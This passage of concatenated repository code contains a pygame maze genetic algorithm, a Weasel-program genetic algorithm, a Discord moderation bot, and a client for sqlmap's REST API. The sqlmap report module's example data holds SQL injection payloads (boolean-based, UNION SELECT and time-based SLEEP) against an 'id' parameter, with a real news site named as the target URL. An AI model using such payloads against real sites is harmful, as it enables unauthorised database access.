Theseus has reached the Minautor """ m_x, m_y = self.destination.get_pos() m_radius = self.destination.radius distance_centre = math.sqrt((m_x - self.x)**2 + (m_y - self.y)**2) sum_radii = m_radius + self.radius if distance_centre < sum_radii: self.color = pygame.colordict.THECOLORS['green'] self.has_reached = True def kill(self): """ Marks this instance as Dead""" self.is_dead = True self.color = (255, 0, 0)# Turn RED when dead def update(self): if self.is_dead == False and self.has_reached == False: self.num_steps += 1 self.update_pos() self.check_reached() if self.x >= self.settings.boundary['right'] or self.x <= self.settings.boundary['left'] or self.y >= self.settings.boundary['bottom'] or self.y <= self.settings.boundary['top']: self.kill() pygame.draw.circle(self.screen, self.color, self.get_pos(), self.radius) --- FILE SEPARATOR --- import sys, pygame import json, time path = {} def event_check(): """ Check if a key is pressed and respond accordingly """ for event in pygame.event.get(): if event.type == pygame.QUIT: sys.exit() elif event.type == pygame.KEYDOWN: if event.key == pygame.K_q: sys.exit() def update_screen(screen, settings, characters=[], replay=[]): """ Updates the screen in the <While True> loop in main """ screen.fill(settings.bg_color) for character in characters: character.update() # for character in replay: pygame.display.flip() --- FILE SEPARATOR --- import pygame from pygame.sprite import Group import math from theseus import Theseus from minautor import Minautor from maze import Maze class Brain: """ Class for carrying out the evolution process """ def __init__(self, settings, screen, population_size=25): self.settings = settings self.screen = screen self.population_size = population_size self.target = Minautor(screen, settings) self.maze = self.make_maze(screen) self.population = self.produce_population() def make_maze(self, screen): # TODO: Review the Maze class to allow creation of mazes and walls return Group( [ Maze(screen, (10, 10), width=220), #Top Maze(screen, (10, 10), height=340), # Left Maze(screen, (10, 350), width=225), # Bottom Maze(screen, (230, 10), height=340) # Right ]) def check_collide(self, genome, maze, target): collide_maze = pygame.sprite.spritecollide(genome, maze, False) reach_minautor = pygame.sprite.collide_rect(genome, target) if len(collide_maze) == True: genome.kill() if reach_minautor: genome.reach_target() def get_for_update(self): for genome in self.population: if genome.is_considered: self.check_collide(genome, self.maze, self.target) l = [] l.append(self.maze) l.append(self.target) l.extend(self.population) return l def produce_genome(self): return Theseus(self.screen, self.settings) def produce_population(self): return [self.produce_genome() for i in range(self.population_size)] def get_fitness(self): x_target, y_target = self.target.get_pos() x_genome, y_genome = self.genome.get_pos() distance_centre = math.sqrt((x_target - x_genome)**2 + (y_target - y_genome)**2) is_dead, num_steps = self.genome.is_dead, self.genome.num_steps if is_dead: fitness = 1 / (distance_centre * 10 + num_steps * 10) else: fitness = 1 / (distance_centre +num_steps * 10) return fitness --- FILE SEPARATOR --- import pygame import time from functions import event_check, update_screen from settings import Settings from theseus import Theseus from minautor import Minautor import time def main(): pygame.init() ms_settings = Settings() ms_screen = pygame.display.set_mode(ms_settings.screen_size()) pygame.display.set_caption(ms_settings.caption) ms_clock = pygame.time.Clock() ms_minautor = Minautor(ms_screen, ms_settings) ms_swarm = [Theseus(ms_screen, ms_settings, ms_minautor) for i in range(25)] while True: ms_clock.tick(ms_settings.FPS) event_check() update_screen(ms_screen, ms_settings, characters=[*ms_swarm, ms_minautor]) main() --- FILE SEPARATOR --- import pygame from pygame.sprite import Sprite class Maze(Sprite): def __init__(self, screen, position, width=5, height=5): super().__init__() self.screen = screen self.color = [255, 255, 255] self.image = pygame.image.load('assets/wall.bmp') self.image = pygame.transform.scale(self.image,(width, height)) self.rect = self.image.get_rect() self.x, self.y = position self.rect.x = self.x self.rect.y = self.y def update(self): self.screen.blit(self.image, self.rect) --- FILE SEPARATOR --- import pygame from actor import Actor class Minautor(Actor): """ Minautor will be the "destination" point of the genomes/Theseus """ def __init__(self, screen, settings): """ Initialize the Minautor's parameters """ super().__init__(screen, settings, (settings.screen_width // 2, 50), image_path="assets/target.bmp") self.screen = screen self.settings = settings # self.image = pygame.transform.scale(self.image, (10 ,10)) # self.rect = self.image.get_rect() def update(self): super().display() --- FILE SEPARATOR --- class Path: def __init__(self, path): self.path = path self.i = 0 def next(self): coord = self.path[self.i] self.i += 1 --- FILE SEPARATOR --- class Settings: """ Class definition for General Settings of the program""" def __init__(self): self.screen_width = 240 self.screen_height = 360 self.caption = "Maze Solver" self.bg_color = [0, 0, 0] self.FPS = 120 self.boundary_limit = 10 self.boundary = { 'top' : self.boundary_limit, 'right' : self.screen_width - self.boundary_limit, 'bottom': self.screen_height - self.boundary_limit, 'left' : self.boundary_limit } def screen_size(self): """ Returns the screen size as a tuple """ return (self.screen_width, self.screen_height) --- FILE SEPARATOR --- import pygame from pygame.sprite import Group import time from functions import event_check, update_screen from settings import Settings from theseus import Theseus from minautor import Minautor from ga import Brain from maze import Maze def follow_path(t): path = [(113, 180), (104, 180), (99, 188), (93, 179), (85, 184), (78, 184), (86, 184), (80, 177), (74, 183), (68, 178), (60, 170), (60, 178), (53, 183), (53, 174), (47, 180), (47, 185), (53, 194), (53, 189), (46, 180), (51, 174), (51, 174), (58, 174), (63, 181), (68, 181), (76, 189), (71, 189), (71, 198), (64, 189), (64, 180), (55, 180), (55, 172), (49, 172), (49, 172), (55, 178), (48, 178), (54, 178), (45, 187), (45, 179), (39, 179), (32, 179), (25, 187), (31, 178), (31, 172), (24, 178), (30, 173), (23, 164), (23, 171), (23, 171), (16, 166), (24, 166), (15, 172), (15, 163), (15, 158), (8, 152)] for x_coord, y_coord in path: t.move def main(): pygame.init() ms_settings = Settings() ms_screen = pygame.display.set_mode(ms_settings.screen_size()) pygame.display.set_caption(ms_settings.caption) ms_clock = pygame.time.Clock() brain = Brain(ms_settings, ms_screen, population_size=25) theseus = Theseus(ms_screen, ms_settings) while True: ms_clock.tick(ms_settings.FPS) event_check() update_screen(ms_screen, ms_settings, characters=list(brain.get_for_update())) # update_screen(ms_screen, ms_settings, characters=[theseus]) main() --- FILE SEPARATOR --- import pygame from random import choice from actor import Actor from path import Path #TODO: use collide and has reach in a game function class Theseus(Actor): """ Since Theseus killed the Minautor in its maze, the Genomes will be known as Theuseus """ def __init__(self, screen, settings): super().__init__(screen, settings, (settings.screen_width // 2, settings.screen_height // 2)) self.screen = screen self.settings = settings self.is_dead = False self.has_reached = False self.is_considered=True self.path = [] self.steps = 0 def get_coord(self): dir_x = choice([-1, 0, 1]) dir_y = choice([-1, 0, 1]) dx = choice(range(5, 10)) # Horizontal Velocity dy = choice(range(5, 10)) # Vertical Velocity return (dx * dir_x, dy * dir_y) def move(self, coord): """ Updates Theseus' coordinates """ x_coord, y_coord = coord self.x += x_coord self.y += y_coord self.rect.x = self.x self.rect.y = self.y self.steps += 1 self.path.append((self.x, self.y)) def retrace(self): return {'steps': self.steps, 'path': self.path} def set_path(self, path): self.path = Path def kill(self): """ Marks this instance as Dead""" self.is_dead = True self.is_considered = False self.image = pygame.image.load("assets/dead.bmp") def reach_target(self): """ Marks this instance as successful """ self.has_reached = True self.is_considered = False self.image = pygame.image.load("assets/reached.bmp") def update(self): if self.is_considered: self.move(self.get_coord()) super().display()
[ "/actor.py", "/archive/minautor1.py", "/archive/theseus1.py", "/functions.py", "/ga.py", "/main.py", "/maze.py", "/minautor.py", "/path.py", "/settings.py", "/test.py", "/theseus.py" ]
0x15F9/Weasel-Program-GA
import string from random import choice, randint, random, uniform class WeaselProgram: def __init__(self, target="HelloWorld", population_size=25, mutation_ratio=0.1): self.target = target self.population_size = population_size self.mutation_ratio = mutation_ratio self.pool = list(string.ascii_letters) self.population = self.produce_population() def produce_genome(self): genome = [] while len(genome) != len(self.target): genome.append(choice(self.pool)) return ''.join(genome) def procreate_genome(self): child_genome = self.cross_over() return self.mutate(child_genome) def produce_population(self): return [self.produce_genome() for i in range(self.population_size)] def regenerate_population(self, previous_population): """ Regenerates population using part of previous population and part of new population """ new_population = [] threshold_value = ( self.population_size // 5 ) * 6 # 5/6 of the previous population will be renewed for i in range(threshold_value): new_population.append(self.procreate_genome()) for i in range(threshold_value, self.population_size): new_population.append(self.produce_genome) self.population = new_population return new_population def get_fitness(self, genome): f = 0.0 for i in range(len(self.target)): if genome[i] == self.target[i]: f += 1 # fitness is between 0 and 1 return float(f / len(self.target)) def cross_over(self): father_genome = self.select_parent() mother_genome = self.select_parent() child_genome = [] for i in range(len(self.target)): c = choice([0, 1]) if c == 0: child_genome.append(father_genome[i]) else: child_genome.append(mother_genome[i]) return ''.join(child_genome) def mutate(self, genome): position = randint(0, len(genome) - 1) g = list(genome) if random() < self.mutation_ratio: g[position] = choice(self.pool) return ''.join(g) def select_parent(self): max = sum([self.get_fitness(c) for c in self.population]) pick = uniform(0, max) current = 0 for chromosome in self.population: current += self.get_fitness(chromosome) if current > pick: return chromosome def intermediary_result(self): result = [] for genome in self.population: result.append({ 'genome': genome, 'fitness': self.get_fitness(genome) }) return result --- FILE SEPARATOR --- from ga import WeaselProgram def get_highest_fitness_per_population(list_dict): list_fitness = [x['fitness'] for x in list_dict] max_fitness = max(list_fitness) for res in list_dict: if res['fitness'] == max_fitness: print(res) print('') return max_fitness def main(): wp = WeaselProgram(population_size=100) max = get_highest_fitness_per_population(wp.intermediary_result()) while max != 1: wp.regenerate_population(wp.population) max = get_highest_fitness_per_population(wp.intermediary_result()) main() --- FILE SEPARATOR --- import unittest from ga import WeaselProgram class Test(unittest.TestCase): def setUp(self): self.target = "HiThere" self.population_size = 30 self.weasel = WeaselProgram(target=self.target, population_size=self.population_size) def test_produce_genome(self): expected_output = len(self.target) obtained_output = len(self.weasel.produce_genome()) self.assertEqual(obtained_output, expected_output) def test_produce_population(self): expected_output = self.population_size obtained_output = len(self.weasel.produce_population()) self.assertEqual(obtained_output, expected_output) def test_get_fitness(self): expected_output = 1 obtained_output = self.weasel.get_fitness(self.target) self.assertEqual(obtained_output, expected_output) def test_get_fitness_again(self): expected_output = 0 obtained_output = self.weasel.get_fitness(self.target.swapcase()) self.assertEqual(obtained_output, expected_output) def test_cross_over(self): expected_output = len("boycowe") obtained_output = len(self.weasel.cross_over("boycott","cowshed" )) self.assertEqual(obtained_output, expected_output) unittest.main()
[ "/ga.py", "/main.py", "/test.py" ]
0x199/cuthbert-bot
import datetime import traceback import typing import cogs.utils.logging as logging import discord import humanize import pytimeparse from discord.ext import commands class ModActions(commands.Cog): """This cog handles all the possible moderator actions. - Kick - Ban - Unban - Mute - Unmute - Purge """ def __init__(self, bot): self.bot = bot async def check_permissions(self, ctx, user: typing.Union[discord.Member, int] = None): if ctx.guild.id != self.bot.guild_id: raise commands.BadArgument("This command cannot be used here.") if isinstance(user, discord.Member): if user.id == ctx.author.id: await ctx.message.add_reaction("🤔") raise commands.BadArgument("You can't call that on yourself.") if user.id == self.bot.user.id: await ctx.message.add_reaction("🤔") raise commands.BadArgument("You can't call that on me :(") # must be at least a mod mod_role = ctx.guild.get_role(self.bot.role_mod) if mod_role is None: raise commands.BadArgument("Moderator role not found.") if mod_role not in ctx.author.roles: raise commands.BadArgument( "You do not have permission to use this command.") if user: if isinstance(user, discord.Member): if user.top_role >= ctx.author.top_role: raise commands.BadArgument( message=f"{user.mention}'s top role is the same or higher than yours!") @commands.guild_only() @commands.bot_has_guild_permissions(kick_members=True) @commands.command(name="kick") async def kick(self, ctx: commands.Context, user: discord.Member, *, reason: str = "No reason.") -> None: """Kick a user (mod only) Example usage: -------------- `!kick <@user/ID> <reason (optional)>` Parameters ---------- user : discord.Member User to kick reason : str, optional Reason for kick, by default "No reason." """ await self.check_permissions(ctx, user) reason = discord.utils.escape_markdown(reason) reason = discord.utils.escape_mentions(reason) log = await logging.prepare_kick_log(ctx.author, user, reason) try: await user.send(f"You were kicked from {ctx.guild.name}", embed=log) except Exception: pass await user.kick(reason=reason) await ctx.message.reply(embed=log, delete_after=10) await ctx.message.delete(delay=10) public_chan = ctx.guild.get_channel( self.bot.channel_public) if public_chan: log.remove_author() log.set_thumbnail(url=user.avatar_url) await public_chan.send(embed=log) @commands.guild_only() @commands.bot_has_guild_permissions(ban_members=True) @commands.command(name="ban") async def ban(self, ctx: commands.Context, user: typing.Union[discord.Member, int], *, reason: str = "No reason."): """Ban a user (mod only) Example usage: -------------- `!ban <@user/ID> <reason (optional)>` Parameters ---------- user : typing.Union[discord.Member, int] The user to be banned, doesn't have to be part of the guild reason : str, optional Reason for ban, by default "No reason." """ await self.check_permissions(ctx, user) reason = discord.utils.escape_markdown(reason) reason = discord.utils.escape_mentions(reason) # if the ID given is of a user who isn't in the guild, try to fetch the profile if isinstance(user, int): try: user = await self.bot.fetch_user(user) except discord.NotFound: raise commands.BadArgument( f"Couldn't find user with ID {user}") log = await logging.prepare_ban_log(ctx.author, user, reason) try: await user.send(f"You were banned from {ctx.guild.name}", embed=log) except Exception: pass if isinstance(user, discord.Member): await user.ban(reason=reason) else: # hackban for user not currently in guild await ctx.guild.ban(discord.Object(id=user.id)) await ctx.message.reply(embed=log, delete_after=10) await ctx.message.delete(delay=10) public_chan = ctx.guild.get_channel( self.bot.channel_public) if public_chan: log.remove_author() log.set_thumbnail(url=user.avatar_url) await public_chan.send(embed=log) @commands.guild_only() @commands.bot_has_guild_permissions(ban_members=True) @commands.command(name="unban") async def unban(self, ctx: commands.Context, user: int, *, reason: str = "No reason.") -> None: """Unban a user (must use ID) (mod only) Example usage: -------------- `!unban <user ID> <reason (optional)> ` Parameters ---------- user : int ID of the user to unban reason : str, optional Reason for unban, by default "No reason." """ await self.check_permissions(ctx) reason = discord.utils.escape_markdown(reason) reason = discord.utils.escape_mentions(reason) try: user = await self.bot.fetch_user(user) except discord.NotFound: raise commands.BadArgument(f"Couldn't find user with ID {user}") try: await ctx.guild.unban(discord.Object(id=user.id), reason=reason) except discord.NotFound: raise commands.BadArgument(f"{user} is not banned.") log = await logging.prepare_unban_log(ctx.author, user, reason) await ctx.message.reply(embed=log, delete_after=10) await ctx.message.delete(delay=10) public_chan = ctx.guild.get_channel( self.bot.channel_public) if public_chan: log.remove_author() log.set_thumbnail(url=user.avatar_url) await public_chan.send(embed=log) @commands.guild_only() @commands.bot_has_guild_permissions(manage_messages=True) @commands.command(name="purge") async def purge(self, ctx: commands.Context, limit: int = 0) -> None: """Purge messages from current channel (mod only) Example usage: -------------- `!purge <number of messages>` Parameters ---------- limit : int, optional Number of messages to purge, must be > 0, by default 0 for error handling """ await self.check_permissions(ctx) if limit <= 0: raise commands.BadArgument( "Number of messages to purge must be greater than 0") if limit > 100: limit = 100 msgs = await ctx.channel.history(limit=limit+1).flatten() await ctx.channel.purge(limit=limit+1) await ctx.send(f'Purged {len(msgs)} messages.', delete_after=10) @commands.guild_only() @commands.bot_has_guild_permissions(manage_messages=True) @commands.command(name="purgeuser") async def purgeuser(self, ctx: commands.Context, user: discord.Member, limit: int = 0) -> None: """Purge a specific user's messages from current channel (mod only) Example usage: -------------- `!purgeuser @user <number of messages>` Parameters ---------- user : discord.Member user to purge messages of limit : int, optional Number of messages to purge, must be > 0, by default 0 for error handling """ await self.check_permissions(ctx, user) if limit <= 0: raise commands.BadArgument( "Number of messages to purge must be greater than 0") if limit > 100: limit = 100 msgs = await user.history(limit=limit+1).flatten() await ctx.channel.delete_messages(messages=msgs) await ctx.message.delete() await ctx.send(f'Purged {len(msgs)} messages.', delete_after=10) @commands.guild_only() @commands.bot_has_guild_permissions(manage_roles=True) @commands.command(name="mute") async def mute(self, ctx: commands.Context, user: discord.Member, dur: str = "", *, reason: str = "No reason.") -> None: """Mute a user (mod only) Example usage: -------------- `!mute <@user/ID> <duration> <reason (optional)>` Parameters ---------- user : discord.Member Member to mute dur : str Duration of mute (i.e 1h, 10m, 1d) reason : str, optional Reason for mute, by default "No reason." """ await self.check_permissions(ctx, user) reason = discord.utils.escape_markdown(reason) reason = discord.utils.escape_mentions(reason) now = datetime.datetime.now() delta = pytimeparse.parse(dur) if delta is None: if reason == "No reason." and dur == "": reason = "No reason." elif reason == "No reason.": reason = dur else: reason = f"{dur} {reason}" mute_role = self.bot.role_mute mute_role = ctx.guild.get_role(mute_role) if mute_role in user.roles: raise commands.BadArgument("This user is already muted.") punishment = None # until = None if delta: try: time = now + datetime.timedelta(seconds=delta) # until = time punishment = humanize.naturaldelta( time - now, minimum_unit="seconds") self.bot.tasks.schedule_unmute(user.id, time) except Exception: raise commands.BadArgument( "An error occured, this user is probably already muted") else: punishment = "PERMANENT" await user.add_roles(mute_role) log = await logging.prepare_mute_log(ctx.author, user, reason, punishment) await ctx.message.reply(embed=log, delete_after=10) await ctx.message.delete(delay=10) log.remove_author() log.set_thumbnail(url=user.avatar_url) dmed = True try: await user.send(f"You have been muted in {ctx.guild.name}", embed=log) except Exception: dmed = False public_chan = ctx.guild.get_channel( self.bot.channel_public) if public_chan: await public_chan.send(user.mention if not dmed else "", embed=log) @commands.guild_only() @commands.bot_has_guild_permissions(manage_roles=True) @commands.command(name="unmute") async def unmute(self, ctx: commands.Context, user: discord.Member, *, reason: str = "No reason.") -> None: """Unmute a user (mod only) Example usage: -------------- ` !unmute <@user/ID> <reason (optional)>` Parameters ---------- user : discord.Member Member to unmute reason : str, optional Reason for unmute, by default "No reason." """ await self.check_permissions(ctx, user) mute_role = self.bot.role_mute mute_role = ctx.guild.get_role(mute_role) await user.remove_roles(mute_role) try: self.bot.tasks.cancel_unmute(user.id) except Exception: pass log = await logging.prepare_unmute_log(ctx.author, user, reason) await ctx.message.reply(embed=log, delete_after=10) await ctx.message.delete(delay=10) dmed = True try: await user.send(f"You have been unmuted in {ctx.guild.name}", embed=log) except Exception: dmed = False public_chan = ctx.guild.get_channel( self.bot.channel_public) if public_chan: log.remove_author() log.set_thumbnail(url=user.avatar_url) await public_chan.send(user.mention if not dmed else "", embed=log) @unmute.error @mute.error @unban.error @ban.error @purge.error @purgeuser.error @kick.error async def info_error(self, ctx, error): await ctx.message.delete(delay=5) if (isinstance(error, commands.MissingRequiredArgument) or isinstance(error, commands.BadArgument) or isinstance(error, commands.BadUnionArgument) or isinstance(error, commands.BotMissingPermissions) or isinstance(error, commands.MissingPermissions) or isinstance(error, commands.NoPrivateMessage)): await self.bot.send_error(ctx, error) else: await self.bot.send_error(ctx, error) traceback.print_exc() def setup(bot): bot.add_cog(ModActions(bot)) --- FILE SEPARATOR --- import discord from datetime import datetime async def prepare_ban_log(author, user, reason): embed = discord.Embed(title="Member Banned") embed.color = discord.Color.blue() embed.set_author(name=user, icon_url=user.avatar_url) embed.add_field(name="Member", value=f'{user} ({user.mention})', inline=True) embed.add_field(name="Mod", value=f'{author} ({author.mention})', inline=True) embed.add_field(name="Reason", value=reason, inline=True) embed.set_footer(text=f"{user.id}") embed.timestamp = datetime.now() return embed async def prepare_unban_log(author, user, reason): embed = discord.Embed(title="Member Unbanned") embed.color = discord.Color.blurple() embed.set_author(name=user, icon_url=user.avatar_url) embed.add_field(name="Member", value=f'{user} ({user.id})', inline=True) embed.add_field(name="Mod", value=f'{author} ({author.mention})', inline=True) embed.add_field(name="Reason", value=reason, inline=True) embed.set_footer(text=f"{user.id}") embed.timestamp = datetime.now() return embed async def prepare_kick_log(author, user, reason, date): embed = discord.Embed(title="Member Kicked") embed.color = discord.Color.green() embed.set_author(name=user, icon_url=user.avatar_url) embed.add_field(name="Member", value=f'{user} ({user.mention})', inline=True) embed.add_field(name="Mod", value=f'{author} ({author.mention})', inline=True) embed.add_field(name="Reason", value=reason, inline=False) embed.set_footer(text=f"{user.id}") embed.timestamp = datetime.now() return embed async def prepare_mute_log(author, user, reason, punishment): embed = discord.Embed(title="Member Muted") embed.color = discord.Color.red() embed.set_author(name=user, icon_url=user.avatar_url) embed.add_field(name="Member", value=f'{user} ({user.mention})', inline=True) embed.add_field(name="Mod", value=f'{author} ({author.mention})', inline=True) embed.add_field(name="Duration", value=punishment, inline=True) embed.add_field(name="Reason", value=reason, inline=True) embed.set_footer(text=f"{user.id}") embed.timestamp = datetime.now() return embed async def prepare_unmute_log(author, user, reason): embed = discord.Embed(title="Member Unmuted") embed.color = discord.Color.green() embed.set_author(name=user, icon_url=user.avatar_url) embed.add_field(name="Member", value=f'{user} ({user.mention})', inline=True) embed.add_field(name="Mod", value=f'{author} ({author.mention})', inline=True) embed.add_field(name="Reason", value=reason, inline=True) embed.set_footer(text=f"{user.id}") embed.timestamp = datetime.now() return embed --- FILE SEPARATOR --- import logging from datetime import datetime import discord from apscheduler.executors.pool import ThreadPoolExecutor from apscheduler.jobstores.mongodb import MongoDBJobStore from apscheduler.schedulers.asyncio import AsyncIOScheduler from cogs.utils.logging import prepare_unmute_log jobstores = { 'default': MongoDBJobStore(database="cuthbert", collection="jobs", host="127.0.0.1"), } executors = { 'default': ThreadPoolExecutor(20) } job_defaults = { # 'coalesce': True } BOT_GLOBAL = None class Tasks(): """Job scheduler for unmute, using APScheduler """ def __init__(self, bot: discord.Client): """Initialize scheduler Parameters ---------- bot : discord.Client instance of Discord client """ global BOT_GLOBAL BOT_GLOBAL = bot logging.basicConfig() logging.getLogger('apscheduler').setLevel(logging.DEBUG) self.tasks = AsyncIOScheduler( jobstores=jobstores, executors=executors, job_defaults=job_defaults, event_loop=bot.loop) self.tasks.start() def schedule_unmute(self, id: int, date: datetime) -> None: """Create a task to unmute user given by ID `id`, at time `date` Parameters ---------- id : int User to unmute date : datetime.datetime When to unmute """ self.tasks.add_job(unmute_callback, 'date', id=str( id), next_run_time=date, args=[id], misfire_grace_time=3600) def cancel_unmute(self, id: int) -> None: """When we manually unmute a user given by ID `id`, stop the task to unmute them. Parameters ---------- id : int User whose unmute task we want to cancel """ self.tasks.remove_job(str(id), 'default') def unmute_callback(id: int) -> None: """Callback function for actually unmuting. Creates asyncio task to do the actual unmute. Parameters ---------- id : int User who we want to unmute """ BOT_GLOBAL.loop.create_task(remove_mute(id)) async def remove_mute(id: int) -> None: """Remove the mute role of the user given by ID `id` Parameters ---------- id : int User to unmute """ guild = BOT_GLOBAL.get_guild(BOT_GLOBAL.guild_id) if guild is None: return mute_role = BOT_GLOBAL.role_mute mute_role = guild.get_role(mute_role) if mute_role is None: return user = guild.get_member(id) if user is None: return await user.remove_roles(mute_role) log = await prepare_unmute_log(BOT_GLOBAL.user, user, "Temporary mute expired.") log.remove_author() log.set_thumbnail(url=user.avatar_url) public_chan = guild.get_channel( BOT_GLOBAL.channel_public) dmed = True try: await user.send(embed=log) except Exception: dmed = False await public_chan.send(user.mention if not dmed else "", embed=log) --- FILE SEPARATOR --- import logging import os import discord from cogs.utils.tasks import Tasks from discord.ext import commands from dotenv import find_dotenv, load_dotenv logging.basicConfig(level=logging.INFO) load_dotenv(find_dotenv()) def get_prefix(bot, message): """A callable Prefix for our bot. This could be edited to allow per server prefixes.""" prefixes = ['!'] # If we are in a guild, we allow for the user to mention us or use any of the prefixes in our list. return commands.when_mentioned_or(*prefixes)(bot, message) initial_extensions = [ 'cogs.commands.modactions', # 'cogs.commands.mod.modutils', # 'cogs.commands.misc.admin', # 'cogs.commands.misc.genius', # 'cogs.commands.misc.misc', # 'cogs.commands.misc.subnews', # 'cogs.commands.misc.stonks', # 'cogs.commands.misc.giveaway', # 'cogs.commands.info.devices', 'cogs.commands.help', # 'cogs.commands.info.stats', # 'cogs.commands.info.tags', # 'cogs.commands.info.userinfo', # 'cogs.commands.mod.filter', # 'cogs.monitors.birthday', # 'cogs.monitors.boosteremojis', 'cogs.commands.logs', # 'cogs.monitors.logging', # 'cogs.monitors.reactionroles', # 'cogs.monitors.xp', ] intents = discord.Intents.default() intents.members = True intents.messages = True intents.presences = True mentions = discord.AllowedMentions(everyone=False, users=True, roles=False) bot = commands.Bot(command_prefix=get_prefix, intents=intents, allowed_mentions=mentions) bot.max_messages = 10000 async def send_error(ctx, error): embed = discord.Embed(title=":(\nYour command ran into a problem") embed.color = discord.Color.red() embed.description = discord.utils.escape_markdown(f'{error}') await ctx.send(embed=embed, delete_after=8) # Here we load our extensions(cogs) listed above in [initial_extensions]. if __name__ == '__main__': bot.tasks = Tasks(bot) bot.channel_public = int(os.environ.get("CHANNEL_PUBLIC_LOGS")) bot.channel_private = int(os.environ.get("CHANNEL_PRIVATE_LOGS")) bot.role_mod = int(os.environ.get("ROLE_MODERATOR")) bot.role_mute = int(os.environ.get("ROLE_MUTE")) bot.guild_id = int(os.environ.get("GUILD_ID")) bot.send_error = send_error bot.remove_command("help") for extension in initial_extensions: bot.load_extension(extension) @bot.event async def on_ready(): await bot.wait_until_ready() print( f'\n\nLogged in as: {bot.user.name} - {bot.user.id}\nVersion: {discord.__version__}\n') print(f'Successfully logged in and booted...!') bot.run(os.environ.get("CUTHBERT_TOKEN"), bot=True, reconnect=True)
[ "/cogs/commands/modactions.py", "/cogs/utils/logging.py", "/cogs/utils/tasks.py", "/main.py" ]
0x22E09/sqlmap-client
#!/usr/bin/env python #-*- coding: utf-8 -*- class Conf(object): def __init__(self, data): self.string = data['string'] self.notString = data['notString'] self.titles = data['titles'] self.regexp = data['regexp'] self.textOnly = data['textOnly'] self.optimize = data['optimize'] class Data(object): def __init__(self, id, data): self.id = id self.comment = data['comment'] self.matchRatio = data['matchRatio'] self.title = data['title'] self.templatePayload = data['templatePayload'] self.vector = data['vector'] self.where = data['where'] self.payload = data['payload'] class Value(object): def __init__(self, data): self.dbms = data['dbms'] self.suffix = data['suffix'] self.clause = data['clause'] self.ptype = data['ptype'] self.dbms_version = data['dbms_version'] self.prefix = data['prefix'] self.place = data['place'] self.data = [] for i in data['data']: self.data.append(Data(i, data['data'][i])) self.conf = Conf(data['conf']) self.parameter = data['parameter'] self.os = data['os'] class ReportItem(object): def __init__(self, data): self.status = data['status'] self.type = data['type'] self.values = [] for v in data['value']: self.values.append(Value(v)) class Report(object): def __init__(self, url, data): self.url = url self.count = 0 self.contents = [] for d in data: self.contents.append(ReportItem(d)) self.count += 1 def __str__(self): return "<url:'%s', nreport:%d>" % (self.url, self.count) def __repr__(self): return "<url:'%s', nreport:%d>" % (self.url, self.count) def __iter__(self): return self.reports if __name__ == '__main__': example = [{u'status': 1, u'type': 0, u'value': [{u'dbms': u'MySQL', u'suffix': u'', u'clause': [1], u'ptype': 1, u'dbms_version': [u'> 5.0.11'], u'prefix': u'', u'place': u'GET', u'data': {u'1':{u'comment': u'', u'matchRatio': None, u'title': u'AND boolean-based blind - WHERE or HAVING clause', u'templatePayload': None, u'vector': u'AND [INFERENCE]', u'where': 1, u'payload': u'id=1 AND 6981=6981'}, u'3':{u'comment': u'#', u'matchRatio': None, u'title': u'MySQL UNION query (NULL) - 1 to 20 columns', u'templatePayload': None, u'vector': [0, 1, u'#', u'', u'', u'NULL', 1, False], u'where': 1, u'payload': u'id=1 UNION ALL SELECT CONCAT(0x716b726771,0x54577443486b6268564d,0x7165697971)#'}, u'5':{u'comment': u'', u'matchRatio': None, u'title': u'MySQL > 5.0.11 AND time-based blind', u'templatePayload': None, u'vector': u'AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])', u'where': 1, u'payload': u'id=1 AND SLEEP([SLEEPTIME])'} }, u'conf': {u'string': None, u'notString': None, u'titles': False, u'regexp': None, u'textOnly': False, u'optimize': False}, u'parameter': u'id', u'os': None}] }] print(Report("http://www.sina.com.cn", example)) --- FILE SEPARATOR --- #!/usr/bin/env python # RESTful API(Part) for sqlmap server # --------------------------------------------------------------- # @get("/task/new") # @get("/task/<taskid>/delete") # @post("/scan/<taskid>/start") # @get("/scan/<taskid>/stop") # @get("/scan/<taskid>/kill") # @get("/scan/<taskid>/status") # @get("/scan/<taskid>/data") # --------------------------------------------------------------- import os import sys import time import json import shutil import logging import requests from report import Report from threading import Timer from urlparse import urljoin, urlparse logger = logging.getLogger(__file__) logger.addHandler(logging.StreamHandler(sys.stdout)) logger.setLevel(logging.DEBUG) RESTAPI_SERVER_HOST = "127.0.0.1" RESTAPI_SERVER_PORT = 8775 class OperationFailed(Exception): def __init__(self, msg="???"): self.msg = msg def __str__(self): return "<OperationFailed:%s>" % self.msg class SqlmapClient(object): """ Sqlmap REST-JSON API client """ def __init__(self, host=RESTAPI_SERVER_HOST, port=RESTAPI_SERVER_PORT): self.addr = "http://%s:%d" % (host, port) self.options = dict() logger.info("Starting REST-JSON API client to '%s'...\n", self.addr) def create_task(self): try: resp = requests.get(urljoin(self.addr, "/task/new")) except requests.RequestException as e: raise e if resp.status_code == 200: r = resp.json() if r.get("success", False): self.taskid = r.get("taskid", None) logger.info(">>> Create task<%s>", self.taskid) return self.taskid else: raise OperationFailed("Failed to create task") else: raise OperationFailed("Failed to create task, Response<%d>" % resp.status_code) def delete_task(self, taskid=None): if taskid is None: taskid = self.taskid uri = "".join(["/task/", taskid, "/delete"]) try: resp = requests.get(urljoin(self.addr, uri)) except requests.RequestException as e: raise e if resp.status_code == 200: r = resp.json() if r.get("success", False): logger.info("<<< Delete task<%s>", taskid) return True else: raise OperationFailed("Failed to delete task<%s>:%s" % (taskid, r.get("message"))) else: raise OperationFailed("Failed to delete task<%s>, Response<%s>" % (taskid, resp.status_code)) def start_scan(self): uri = "".join(["/scan/", self.taskid, "/start"]) headers = {"content-type": "application/json"} try: resp = requests.post(urljoin(self.addr, uri), data=json.dumps(self.options), headers=headers) except requests.RequestException as e: raise e if resp.status_code == 200: r = resp.json() if r.get("success", False): self.engineid = r.get("engineid") logger.info("Task<%s> start scanning engine<%s>", self.taskid, self.engineid) else: raise OperationFailed("Task<%s> failed to start engine<%s>:%s" % (self.taskid, self.engineid, r.get("message"))) else: raise OperationFailed("Task<%s> failed to start engine<%s>, Response<%s>" % (self.taskid, self.engineid, resp.status_code)) def stop_scan(self): uri = "".join(["/scan/", self.taskid, "/stop"]) try: resp = requests.get(urljoin(self.addr, uri)) except requests.RequestException as e: raise e if resp.status_code == 200: r = resp.json() if r.get("success", False): logger.info("Task<%s> stop engine<%s>", self.taskid, self.engineid) return True else: raise OperationFailed("Task<%s> failed to stop engine<%s>:%s" % (self.taskid, self.engineid, r.get("message"))) else: raise OperationFailed("Task<%s> failed to stop 